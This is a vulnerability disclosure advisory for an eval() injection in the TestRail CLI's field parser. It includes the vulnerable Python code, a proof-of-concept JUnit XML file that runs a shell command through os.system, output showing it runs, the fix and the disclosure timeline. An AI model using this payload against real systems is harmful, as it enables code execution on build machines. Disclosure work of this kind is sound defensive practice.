Headline
TestRail CLI FieldsParser eval Injection
While parsing test result XML files with the TestRail CLI, the presence of certain TestRail-specific fields can cause untrusted data to flow into an eval() statement, leading to arbitrary code execution. In order to exploit this, an attacker would need to be able to cause the TestRail CLI to parse a malicious XML file. Normally an attacker with this level of control would already have other avenues of gaining code execution.
This is not a very exciting vulnerability, but I had already publicly disclosedit on GitHub at the request of the vendor. Since that report has disappeared,the link I had provided to MITRE was invalid, so here it is again.-Devin---# Unsafe `eval()` in TestRail CLI FieldsParserDate Reported: 2024-10-03CVSSv3.1 Score: 7.3CVSSv3.1 Vector: AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:HSeverity: MediumVulnerability Class: Eval Injection## SummaryWhile parsing test result XML files with the TestRail CLI, the presence ofcertain TestRail-specific fields can cause untrusted data to flow into an`eval()` statement, leading to arbitrary code execution. In order to exploitthis, an attacker would need to be able to cause the TestRail CLI to parse amalicious XML file. Normally an attacker with this level of control wouldalready have other avenues of gaining code execution.However, there could be cases where an attacker can inject a malicious testresult file but is otherwise unable to execute arbitrary code on the systemrunning the TestRail CLI, resulting in a Local Privilege Escalation or RemoteCode Execution issue. In the worst case, this could result in compromising abuild system.## DescriptionThe vulnerability stems from the `eval()` statement in the`FieldsParser.resolve_fields()` method:```pydef resolve_fields(fields: Union[List[str], Dict]) -> (Dict, str): error = None fields_dictionary = {} try: if isinstance(fields, list) or isinstance(fields, tuple): for field in fields: field, value = field.split(":", maxsplit=1) if value.startswith("["): try: value = eval(value) except Exception: pass fields_dictionary[field] = value elif isinstance(fields, dict): fields_dictionary = fields else: error = f"Invalid field type ({type(fields)}), supportedtypes are tuple/list/dictionary" return fields_dictionary, error except Exception as ex: return fields_dictionary, f"Error parsing fields: {ex}"```https://github.com/gurock/trcli/blob/066008477bd4b05e46bb723c09373e8111cb2dea/trcli/data_classes/data_parsers.py#L61This method is called when parsing result or case fields in JUnit or Robot XMLfiles if there are any Properties that have names startingwith`testrail_result_field` or `testrail_case_field`. In both cases, the valueor text of that Property is passed more or less directly to `eval()`.A specially crafted Property value can therefore be used to execute arbitraryPython code.### ExamplesThe following XML file will cause the TestRail CLI to spawn a shell and executeour echo command:```<?xml version="1.0" encoding="UTF-8"?><testsuites time="15.682687"> <testsuite name="Tests.Execution" time="6.666666"> <testcase name="testCase0" classname="Tests.Registration" assertions="4" time="1.625275" file="tests/registration.code" line="302"> <properties> <property name="testrail_case_field"> :[] or __import__('os').system('echo THIS ISINSIDE THE EVAL STATEMENT') </property> </properties> </testcase> </testsuite></testsuites>``````(trcli) devin@devin-laptop:~/code/trcli$ trcli -h http://127.0.0.1 -ume -p no --project foo parse_junit -f ./pwn.xml --title barTestRail CLI v1.9.7Copyright 2024 Gurock Software GmbH - www.gurock.comParser Results Execution Parameters> Report file: ./pwn.xml> Config file: None> TestRail instance: http://127.0.0.1 (user: me)> Project: foo> Run title: bar> Update run: No> Add to milestone: No> Auto-create entities: NoneParsing JUnit report.THIS IS INSIDE THE EVAL STATEMENTProcessed 1 test cases in section Tests.Execution.```## ImpactAn attacker able to inject a malicious JUnit or Robot test result XML file cancompromise the system running the TestRail CLI.## References* CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)# RecommendationsUse `ast.literal_eval()` instead. While `literal_eval()` could still be abusedto cause a Denial of Service, it prevents the execution of arbitrary code.# Timeline2024-10-01: Issue Discovered2024-10-02: Contacted the vendor according to the instructions on their [security page](https://www.testrail.com/about/security/)2024-10-03: Report sent to vendor via ZenDesk ticket \#3599832024-10-04: Vendor requests public disclosure in a GitHub Issue2024-10-11: Published report as [public GitHub Issue](https://github.com/gurock/trcli/issues/279)2024-10-30: Noticed that the vendor has deleted the [public GitHub Issue](https://github.com/gurock/trcli/issues/279) containing the bug report and some conversation about responsible disclosure and requesting a CVE. The vulnerability has not been fixed in the `main` branch.2024-11-05: Full disclosure mailing list notified.